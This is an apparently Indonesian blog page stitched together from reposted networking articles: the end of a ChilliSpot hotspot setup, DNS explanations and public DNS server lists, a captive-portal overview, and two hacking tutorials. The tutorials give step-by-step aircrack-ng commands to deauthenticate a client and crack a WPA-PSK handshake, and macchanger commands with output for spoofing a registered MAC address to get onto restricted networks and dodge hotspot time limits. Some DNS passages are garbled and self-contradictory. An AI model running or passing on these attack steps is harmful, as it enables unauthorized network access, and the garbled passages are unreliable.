    • >GRANT ALL PRIVILEGES ON phpmyprepaid.* to 'phpmyprepaid'@'localhost' IDENTIFIED BY 'sangatrahasia';
    • >FLUSH PRIVILEGES;
    • Setiap user yang dibuat oleh registrasi phpmyprepaid menggunakan time, jika anda ingin membuat registrasi member tanpa time anda dapat membuat dengan cara:
    • >use phpmyprepaid;
    • >INSERT INTO radcheck (UserName, Attribute, Value) VALUES ('yoga', 'User-Password', 'sangatrahasia');
    • >quit;
    • Ket:
    •  Member ini khusus untuk kita aja, masa tukang buat hotspotnya musti dibatasin koneksi internetnya oleh phpmyprepaid. Nggak lucu kan… 
  11. Restart semua system yang dikonfigurasi 
    • #/etc/init.d/apache2 restart
    • #/etc/init.d/mysql restart
    • #/etc/init.d/chilli restart
    • #/etc/init.d/freeradius restart Atau biar lebih enakan, kalo aku sich biasanya reboot servernya dengan perintah
    • #reboot setelah itu colok kan kabel UTP ke eth1 masuk ke switch dan di test ke pc / laptop ato dr radio wireless di set ssid dan di colok ke eth1 , pc / laptop di set dynamic untuk tcp-ip nya
    • dah deh ... bakalan dpt ip dr server hotspot dan setiap kali mo brows pasti akan di redirect ke login page chillispot
    • Buat sebuah tiket di phpmyprepaid dengan mozilla firefox
    • (contoh http://192.168.10.10/phpmyprepaid/www)
    • Coba browsing internet ke alamat apa saja dengan program browser kesayangan anda, jika sukses, maka browsing akan diredirect dan dimintai login dan password oleh chillispot, masukkan login dan password yang dibuat oleh phpmyprepaid tadi. Jika berhasil maka anda sudah bisa browsing internet
    • Ket:
    • Anda juga bisa menggunakan username dan password member yang anda buat di mysql yang diterangkan pada nomor 10. Username dan password yang dibuat disana bersifat permanen dan tanpa limit waktu.

Fungsi, Kelebihan dan Kekurangan DNS Server

FUNGSI DNS
A. Kerangka Peraturan pengiriman secara kontroversi menggunakan keuntungan jenis rekod DNS, dikenal sebagai rekod TXT.
B. Menyediakan keluwesan untuk kegagalan computer,Beberapa server DNS memberikan perlindungan untuk setiap domain. Tepatnya,Tiga belas server akar (root server)digunakan oleh seluruh dunia.
KEUNGGULAN DNS
  1. DNS mudah untuk di implementasikan di protocol TCP/IP
  2. DNS server mudah untuk di konfigurasikan(Bagi admin)
  3. User tidak lagi di repotkan untuk mengingat IP address
KEKURANGAN DNS
  1. DNS tidak mudah untuk di implementasikan
  2. Tidak konsisten
  3. Tidak bias membuat banyak nama domain.
Sumber: http://trimawati.wordpress.com/

DNS Alternatif Internet

DNS kepanjangan Domain Name Server. Fungsi DNS menerjemahkan nama Domain menjadi deretan angka IP. Contohnya bila kita akan membuka atau merequest url Domain tertentu, biasanya kita menggunakan deretan nama atau huruf karena lebih mudah dihafal seperti blogger.com, google.com, yahoo.com , Facebook.com dan sebagainya.
Nah disinilah DNS ini bekerja. DNS ini melakukan encode atau menerjemahkan dari domain google.com ke dalam bentuk deretan angka unik yaitu berupa IP misal google.com Ip nya adalah 208.67.219.231. Jadi bila kita masukan 208.67.219.231 pada browser maka juga akan membuka domain google.com tersebut. Deretan angka IP seperti 174.36.138.32. IP inilah yang digunakan mesin internet untuk saling berkomunikasi seperti Server Domain, Server Hosting, Server Proxy dan sebagainya.
Terus apa hubungan DNS dengan kecepatan akses internet kita ?
Kita juga bisa menggunakan DNS alternatif ini untuk mempercepat akses internet kita.
Pada dasarnya semua ISP (Internet Service Provider) atau penyedia layanan sambungan internet seperti indosat, Telkomsel, Telkom, dan sebagainya menggunakan atau mempunyai DNS Server tersendiri.Server DNS suatu ISP atau penyedia internet tentunya juga mempunyai kemampuan, kecepatan, speseifikasi, dan lama cache tersediri.
Adakalanya Server DNS ini Drop karena padatnya Trafik DNS server suatu ISP. Sehingga menyebabkan lambannya query atau proses request. Jadi bila terjadi gangguan pada Server DNS suatu ISP, maka pada saat kita akan membuka website menggunakan browser seperti mozila , Firefox, Opera, Flock, safari dan sebagainya, maka akan terasa lebih lambat bahkan terjadi konfirmasi error atau not Found pada browser kita. Seperti yang dulu sering terjadi di Telkom Speedy beberapa saat lalu.
Meski ISP atau penyedia Internet yang kita gunakan mempunyai Server DNS sendiri sebenarnya kita juga bisa menggunakan atau memanfaatkan DNS server ISP operator lain. Jadi Server DNS ini bisa kita gunakan untuk semua jenis ISP yang kita gunakan.
Cara merubah Setting DNS pada windows :
Control panel >>> Network Connections >>> Klik kanan account sambungan internet yang sedang aktif /connected >>> Properties >>> Networking >>> Internet Protocol >>> Properties >> Beri Tanda pada Use the Following DNS server addresses >>> masukan DNS yang anda pilih >> Klik Ok
Cara setting DNS pada windows
Mempercepat Akses Internet Menggunakan DNS alternatif
Mempercepat Akses Internet Menggunakan DNS alternatif
Restart Ulang Koneksi Internet anda , Perubahan akan terjadi setelah anda restart ulang koneksi internet anda.
Silahkan pilih alternatif DNS Server berikut ini, gunakan DNS yang anda rasa paling cepat pada sambungan internet anda.
Daftar Public DNS Server Indonesia :
Server DNS indosat.net.id termasuk DNS Indosat IM2
  • 202.155.0.10
  • 202.155.0.15
  • 202.155.0.20
  • 202.155.0.25
  • 202.155.46.66
  • 202.155.46.77
  • 202.155.30.227
DNS Telkom.net.id Telkom Speedy
  • 202.134.2.5
  • 203.130.196.5
  • 202.130.0.155
  • 202.134.0.155
  • 202.134.1.7
  • 202.134.1.10
  • 202.134.0.62
  • 202.159.32.2
  • 202.159.33.2
  • 202.155.30.227
DNS AWARI (Asosiasi Warnet Indonesia)
  • 203.34.118.10
  • 203.34.118.12
DNS sat.net.id
  • 202.149.82.25
  • 202.149.82.29
DNS cbn.net.id
  • 202.158.40.1
  • 202.158.20.1
  • 202.158.3.7
  • 202.158.3.6
Singnet Singapore
  • 165.21.100.88
  • 165.21.83.88
DNS indo.net.id
  • 202.159.32.2
  • 202.159.33.2
DNS itb.ac.id
  • 202.249.24.65
  • 167.205.23.1
  • 167.205.22.123
  • 167.205.30.114
DNS ukdw.ac.id
  • 222.124.22.18
Daftar Public DNS Luar indonesia (International ):
DNS Open DNS
  • 208.67.222.222
  • 208.67.220.220
DNS Google
  • 8.8.8.8
  • 8.8.4.4
DNS ScrubIt
  • 67.138.54.100
  • 207.225.209.66
DNS DNSadvantage
  • 156.154.70.1
  • 156.154.71.1
DNS vnsc-pri.sys.gtei.net
  • 4.2.2.1
  • 4.2.2.2
  • 4.2.2.3
  • 4.2.2.4
  • 4.2.2.5
  • 4.2.2.6
Verizon (Reston, VA, US)
  • 151.197.0.38
  • 151.197.0.39
  • 151.202.0.84
  • 151.202.0.85
  • 151.202.0.85
  • 151.203.0.84
  • 151.203.0.85
  • 199.45.32.37
  • 199.45.32.38
  • 199.45.32.40
  • 199.45.32.43
GTE (Irving, TX, US)
  • 192.76.85.133
  • 206.124.64.1
One Connect IP (Albuquerque, NM, US)
  • 67.138.54.100
OpenDNS (San Francisco, CA, US)
  • 208.67.222.222
  • 208.67.220.220
Exetel (Sydney, AU)
  • 220.233.167.31
VRx Network Services (New York, NY, US)
  • 199.166.31.3
SpeakEasy (Seattle, WA, US)
  • 66.93.87.2
  • 216.231.41.2
  • 216.254.95.2
  • 64.81.45.2
  • 64.81.111.2
  • 64.81.127.2
  • 64.81.79.2
  • 64.81.159.2
  • 66.92.64.2
  • 66.92.224.2
  • 66.92.159.2
  • 64.81.79.2
  • 64.81.159.2
  • 64.81.127.2
  • 64.81.45.2
  • 216.27.175.2
  • 66.92.159.266.93.87.2
Sprintlink (Overland Park, KS, US)
  • 199.2.252.10
  • 204.97.212.10
  • 204.117.214.10
Cisco (San Jose, CA, US)
  • 64.102.255.44
  • 128.107.241.185
Catatan :
Beberapa DNS tidak bisa digunakan untuk akses FTP dan Website tertentu diblokir oleh Server DNS tersebut..

Sumber: http://www.esc-creation.com/

Pengertian DNS

Domain Name System (DNS) adalah distribute database system yang digunakan untuk pencarian nama komputer (name resolution) di jaringan yang mengunakan TCP/IP (Transmission Control Protocol/Internet Protocol). DNS biasa digunakan pada aplikasi yang terhubung ke Internet seperti web browser atau e-mail, dimana DNS membantu memetakan host name sebuah komputer ke IP address.
Selain digunakan di Internet, DNS juga dapat di implementasikan ke private network atau intranet dimana DNS memiliki keunggulan seperti:
  • Mudah, DNS sangat mudah karena user tidak lagi direpotkan untuk mengingat IP address
    sebuah komputer cukup host name (nama Komputer).
  • Konsisten, IP address sebuah komputer bisa berubah tapi host name tidak berubah.
  • Simple, user hanya menggunakan satu nama domain untuk mencari baik di Internet maupun di Intranet.
DNS dapat disamakan fungsinya dengan buku telepon. Dimana setiap komputer di jaringan Internet memiliki host name (nama komputer) dan Internet Protocol (IP) address. Secara umum, setiap client yang akan mengkoneksikan komputer yang satu ke komputer yang lain, akan menggunakan host name. Lalu komputer anda akan menghubungi DNS server untuk mencek host name yang anda minta tersebut berapa IP address-nya. IP address ini yang digunakan untuk mengkoneksikan komputer anda dengan komputer lainnya.
Sejarah DNS
Sebelum dipergunakannya DNS, jaringan komputer menggunakan HOSTS files yang berisi informasi dari nama komputer dan IP address-nya. Di Internet, file ini dikelola secara terpusat dan di setiap loaksi harus di copy versi terbaru dari HOSTS files, dari sini bisa dibayangkan betapa repotnya jika ada penambahan 1 komputer di jaringan, maka kita harus copy versi terbaru file ini ke setiap lokasi. Dengan makin meluasnya jaringan internet, hal ini makin merepotkan, akhirnya dibuatkan sebuah solusi dimana DNS di desain menggantikan fungsi HOSTS files, dengan kelebihan unlimited database size, dan performace yang baik. DNS adalah sebuah aplikasi services di Internet yang menerjemahkan sebuah domain name ke IP address. Sebagai contoh, www untuk penggunaan di Internet, lalu diketikan nama domain, misalnya: yahoo.com maka akan di petakan ke sebuah IP mis 202.68.0.134. Jadi DNS dapat di analogikan pada pemakaian buku telepon, dimana orang yang kita kenal berdasarkan nama untuk menghubunginya kita harus memutar nomor telepon di pesawat telepon. Sama persis, host komputer mengirimkan queries berupa nama komputer dan domain name server ke DNS, lalu oleh DNS dipetakan ke IP address.
Struktur DNS
Root-Level Domains
Domain ditentukan berdasarkan tingkatan kemampuan yang ada di struktur hirarki yang disebut dengan level. Level paling atas di hirarki disebut dengan root domain. Root domain di ekspresikan berdasarkan periode dimana lambang untuk root domain adalah (“.”).
Top-Level Domains
Pada bagian dibawah ini adalah contoh dari top-level domains:
  • com : Organisasi Komersial
  • edu : Institusi pendidikan atau universitas
  • org : Organisasi non-profit
  • net : Networks (backbone Internet)
  • gov : Organisasi pemerintah non militer
  • mil  : Organisasi pemerintah militer
  • num : No telpon
  • arpa : Reverse DNS
  • xx : dua-huruf untuk kode negara (id:Indonesia,sg:singapura,au:australia,dll)
Top-level domains dapat berisi second-level domains dan hosts.
dns
Second-Level Domains
Second-level domains dapat berisi host dan domain lain, yang disebut dengan subdomain. Untuk contoh: Domain Bujangan, bujangan.com terdapat komputer (host) seperti server1.bujangan.com dan subdomain training.bujangan.com. Subdomain training.bujangan.com juga terdapat komputer (host) seperti client1.training.bujangan.com.

Host Names
Domain name yang digunakan dengan host name akan menciptakan fully qualified domain name
(FQDN) untuk setiap komputer. Sebagai contoh, jika terdapat fileserver1.detik.com, dimana fileserver1 adalah host name dan detik.com adalah domain name.
Bagaimana DNS Bekerja?
Fungsi dari DNS adalah menerjemahkan nama komputer ke IP address (memetakan). Client DNS disebut dengan resolvers dan DNS server disebut dengan name servers. Resolvers atau client mengirimkan permintaan ke name server berupa queries. Name server akan memproses dengan cara mencek ke local database DNS, menghubungi name server lainnya atau akan mengirimkan message failure jika ternyata permintaan dari client tidak ditemukan. Proses tersebut disebut dengan Forward Lookup Query, yaitu permintaan dari client dengan cara memetakan nama komputer (host) ke IP address.

dns2
  • Resolvers mengirimkan queries ke name server
  • Name server mencek ke local database, atau menghubungi name server lainnya, jika ditemukan akan diberitahukan ke resolvers jika tidak akan mengirimkan failure message
  • Resolvers menghubungi host yang dituju dengan menggunakan IP address yang diberikan name server
Kesimpulan
DNS adalah hasil pengembangan dari metode pencarian host name terhadap IP address di Internet. Pada DNS client (resolver) mengirimkan queries ke Name Server (DNS). Name Server akan menerima permintaan dan memetakan nama komputer ke IP address Domain Name Space adalah pengelompokan secara hirarki yang terbagi atas root-level domains, top-level domains, second-level domains, dan host names.

Definisi Captive Portal

Captive Portal adalah suatu teknik autentikasi dan pengamanan data yang lewat dari network internal ke network eksternal. Captive Portal sebenarnya merupakan mesin router atau gateway yang memproteksi atau tidak mengizinkan adanya trafik, hingga user melakukan registrasi. Biasanya Captive Portal ini digunakan pada infrastruktur wireless sseperti hotspot area, tapi tidak menutup kemungkinan diterapkan pada jaringan kabel.

Berikut cara kerja Captive Portal :  Pada saat seorang pengguna berusaha untuk melakukan browsing ke Internet, captive portal akan memaksa pengguna yang belum terauthentikasi untuk menuju ke Authentication web dan akan di beri prompt login termasuk informasi tentang hotspot yang sedang dia gunakan. Router / wireless gateway mempunyai mekanisme untuk menghubungi sebuah Authentication server untuk mengetahui identitas dari pengguna wireless yang tersambung, maka wireless gateway akan dapat menentukan untuk membuka aturan firewall-nya untuk pengguna tertentu.
A captive portal ternyata adalah sebuah Web browser ke dalam perangkat otentikasi.  Hal ini dilakukan dengan mencegat semua paket, terlepas dari alamat atau port, sampai user membuka browser dan mencoba untuk mengakses Internet.  Pada Saat itu browser ini dialihkan ke halaman web yang membutuhkan otentikasi, atau hanya menampilkan acceptable use policy dan meminta user untuk setuju.
Ada beberapa  cara untuk menerapkan captive portal.

Redirection oleh HTTP
Jika  klien yang tidak terauthentikasi melakukan permintaan untuk menampilkan sebuah situs web, DNS server mendapatkan permintaan resolve IP alamat web  oleh browser seperti biasa.  Browser kemudian mengirimkan permintaan HTTP ke alamat IP.  Permintaan ini, kemudian dicegat oleh firewall dan diteruskan ke sebuah server redirect.  Server redirect ini menanggapi  respon HTTP yang berisi kode status HTTP 302 untuk mengarahkan klien ke Captive Portal. Untuk klien, proses ini benar-benar transparan. Klien mengasumsikan bahwa situs web menanggapi permintaan awal dan mengirim redirect.
IP Alias
Lalu lintas Klien  dapat juga diarahkan dengan menggunakan IP pada tingkat layer 3. Metode ini memiliki kelemahan yaitu konten yang disajikan kepada klien tidak sesuai dengan URL.
Redirection oleh DNS
Ketika klien meminta sebuah situs web, DNS server  diminta meresolve alamat adalah browser. Firewall akan memastikan bahwa hanya server DNS  yang diberikan oleh DHCP yang dapat digunakan oleh klien yang tidak terauthentikasi (atau, sebaliknya, akan meneruskan seluruh permintaan DNS oleh klien tidak terauthentikasi ke server DNS). Server DNS ini akan mengembalikan alamat IP dari halaman Portal Captive sebagai hasil dari semua DNS lookup. Teknik ini dinamakan DNS poisoning.


Captive Portal adalah suatu teknik autentikasi dan pengamanan data yang lewat dari network internal ke network eksternal. Captive Portal sebenarnya merupakan mesin router atau gateway yang memproteksi atau tidak mengizinkan adanya trafik, hingga user melakukan registrasi. Biasanya Captive Portal ini digunakan pada infrastruktur wireless sseperti hotspot area, tapi tidak menutup kemungkinan diterapkan pada jaringan kabel.
Berikut cara kerja Captive Portal: Pada saat seorang pengguna berusaha untuk melakukan browsing ke Internet, captive portal akan memaksa pengguna yang belum terauthentikasi untuk menuju ke Authentication web dan akan di beri prompt login termasuk informasi tentang hotspot yang sedang dia gunakan. Router / wireless gateway mempunyai mekanisme untuk menghubungi sebuah Authentication server untuk mengetahui identitas dari pengguna wireless yang tersambung, maka wireless gateway akan dapat menentukan untuk membuka aturan firewall-nya untuk pengguna tertentu.
Beberapa Software Captive Portal :
  • DuxTel Internet Commander – commercial hotspot solution designed for Mikrotik wireless systems
  • HotSpot Studio – commercial Windows based hotspot software
  • ChilliSpot – open source Linux daemon [abandoned]
  • CoovaChilli – both an open source linksys firmware and linux daemon
  • HotSpotSystem.com – Chillispot-based solution for free and Pay-Per-Use Hotspots
  • FirstSpot – commercial Windows based hotspot software
  • Hotspotexpress – software based for Linux platform (commercial)
  • WiFiDog Captive Portal Suite – small C based kernel solution (embeddable)
  • Wilmagate – C++ based and is executable both in Linux and Windows/Cygwin environments
  • pfSenseFreeBSD 6.2 based firewall software derived from m0n0wall
  • SweetSpot – Linux user-space, layer-3 daemon (open source)
  • Air Marshal – software based for Linux platform (commercial)

Sumber :

http://sugeng.staff.ipb.ac.id
http://faruqafif.student.fkip.uns.ac.id

Cara Melakukan Hack pada WPA/PSK

Sebenarnya Tutorial ini sudah sangat basi bagi kaum backtrackers, tapi ini khusus ditujukan kepada newbie yang ingin tahu tentang cara menghacking jaringan infrastructure dengan encryp WPA-PSK..agar tidak ada pertanyaan yang di ulang2 seperti yang terjadi di [b]area pertanyaan pemula[/b]

semoga tutorial ini dapat membantu…

[list]
Sebagai informasi
Tutorial ini telah dipraktekan langsung oleh saya sendiri pada jaringan warnet yang merupakan punya teman saya dan atas sepengetahuan dia…
sengaja tidak ada yang di kaburkan supaya lebih dimengerti


1. Siapkan CD Live Backtrack n tentunya dengan partnernya n of course sebatang rokok agar lebih santai..
2. masuk ke dekstop dengan perintah ~# startx
3. buka konsole dan ketikkan perintah :~# ifconfig -a




4. :~# ifconfig wlan0 up (tuk mengaktifkan interface wlan0)

  
5. :~# airmon-ng
:~# airmon-ng start wlan0[/color] (tuk membuat virtual interface mode monitor)


6. ~# airodump-ng mon0 (tuk memonitoring jaringan yang ada di sekitar)
[color=blue]mon0 adalah interface virtual hasil dari airmon-ng tadi


hasil dari airodump-ng mon0


7. :~# airodump-ng -w test –channel 11 –bssid 00904c910001 mon0
(tuk memonitoring khusus jaringan yang memiliki bssid 00:90:4C:91:00:01 pada channel 11 dan hasil dari monitoring di tulis pada file yang bernama ‘test’)


8. :~# aireplay-ng -0 1 -a 00904c910001 -c oo1cbfa13fe3 mon0
(aireplay-ng digunakan untuk mendisconnect salah satu client yaitu 00:1C:BF:A1:3F:E3 untuk mendapatkan paket handshake yang dibutuhkan untuk proses cracking)

-0 : mode serangan deAuthentication
1 : dilakukan sebanyak 1x deAuth [/list]



9. setelah mendapatkan paket handshake, selanjutnya adalah proses cracking dengan menggunakan aircrack dan file password dengan existensi .lst atau .txt dengan perintah
:~# aircrack-ng test-01.cap -w /pentest/passwords/wordlists/inawpa.txt

inawpa.txt adalah file password yang saya buat sendiri dan terletak pada /pentest/passwords/wordlists/inawpa.txt[/color]

sebagai informasi, keberhasilan proses cracking tergantung ada tidaknya password yang ada di list password dengan password yang sebenarnya…jika password yang digunakan pada jaringan tersebut ada di list password maka proses cracking akan berhasil dan jika password list yang qt miliki tidak mencatat password yang digunakan pada jaringan tersebut kemungkinan keberhasilan proses cracking akan gagal.

SEMOGA DAPAT MEMBANTU BAGI PARA NEWBIE…
kalo ada kekurangan mohon dicerahkan..

Hidup Backtrackers Indonesia

sumber:
www.indoacktrack.ro.id

Cara Melakukan Hack pada Mac Filtering

Macfiltering digunakan oleh admin ajaringan untuk mengamankan jaringannya agar jaringan bisa diakses atau terkoneksi kejarigannya dengan mac addrres yang udah didaftarin pada router… Nah, hal ini sering dimanfaatkan dikampus2 atau diswalayan dan bahkan penyedia internet memanfaatkan ini sebagai salah satu security yang mereka gunakan. Contohnya saja dikampus di DTE UGM yang menerapkan security ini.

Mungkin tujuan siadmin adalah yang bisa internetan dikampus hanya anak2 DTE yang udah daftar mac address laptopnya. Nah, dengan begitu kita memanfaatkan hal ini untuk internetan dikampus dengan tanpa daftar.

Pertama check dulu mac addres kita dengan perintah “ifconfig” dilinux, sedangkan di windus “ipconfig” pada command promtnya (start > run > cmd > typre here “ipconfig”). Saya pratekin livenya di linux.

    bash-3.1# ifconfig
    eth0      Link encap:Ethernet  HWaddr 00:22:64:5c:11:60
    inet addr:192.168.1.158  Bcast:192.168.1.159  Mask:255.255.255.240
    inet6 addr: fe80::222:64ff:fe5c:1160/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
    RX packets:22880 errors:0 dropped:0 overruns:0 frame:0
    TX packets:27541 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:23898079 (22.7 MiB)  TX bytes:3050629 (2.9 MiB)
    Interrupt:17
Nah, mac address saya adalah 00:22:64:5c:11:60, nah alamat hardware kita ini yang dikenalinya… standardnya kan tidak bisa dirubah. Tapi dengan bantuan software, mac ini bisa dirubah. Ane mau rubah mac ane dengan mac yang udah terdaftar di suatu jaringan, anggap aja di kos2an saya pake security ini. Nah, ane tinggal rubah dengan macchanger. Misalnya saya mau rubah mac laptop saya dengan 00-1C-BF-4C-9F-8C pada device eth0.

    bash-3.1# macchanger -m 00:1C:BF:4C:9F:8C eth0
    Current MAC: 00:22:64:5c:11:60 (unknown)
    Faked MAC:   00:1c:bf:4c:9f:8c (unknown)

Sekarang kita coba check mac kita, udah berubah blum?

    eth0      Link encap:Ethernet  HWaddr 00:1c:bf:4c:9f:8c
    inet addr:192.168.1.158  Bcast:192.168.1.159  Mask:255.255.255.240
    inet6 addr: fe80::222:64ff:fe5c:1160/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
    RX packets:26382 errors:0 dropped:0 overruns:0 frame:0
    TX packets:30895 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:27827736 (26.5 MiB)  TX bytes:3435658 (3.2 MiB)
    Interrupt:17

Tu, udah berubah kan, ini kan percobaannya dengan card lan (NIC). kalau wifi tinggal ganti aja eth0 dengan wlan0, jika wifi anda dikenali sebagai wifi0.

Mac yang ane ganti tadi anggap aja mac yang udah terdaftar di routernya. Gimana dapatinnya?? ya banyak jalan. bisa dengan melakukan social engineering kekorban atau dengan sniffing routernya…

Nah, untuk diswalayan2 biasanya dia merecord lama kita internet dengan mengenali mac kita. Misalnya sudah 1jam, otomatis terputus dari jaringan. So, hanya rubah aja mac kita secara random tiap 1 jam… Perintah yang digunakan adalah macchanger -r car-lan-kita.

    bash-3.1# macchanger -r eth0
    Current MAC: 00:1c:bf:4c:9f:8c (unknown)
    Faked MAC:   f2:07:c9:c4:20:83 (unknown)

sekarang coba chek lagi dengan ifconfig

    bash-3.1# ifconfig
    eth0      Link encap:Ethernet  HWaddr f2:07:c9:c4:20:83
    inet addr:192.168.1.158  Bcast:192.168.1.159  Mask:255.255.255.240
    inet6 addr: fe80::222:64ff:fe5c:1160/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
    RX packets:27864 errors:0 dropped:0 overruns:0 frame:0
    TX packets:32353 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:29822772 (28.4 MiB)  TX bytes:3609774 (3.4 MiB)
    Interrupt:17

Nah… dah berubah kan.. sekarang saatnya berinternet ria.

Tollnya dapat didownload di sini untuk windows

dan untuk linux disini

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Affiliate Network Reviews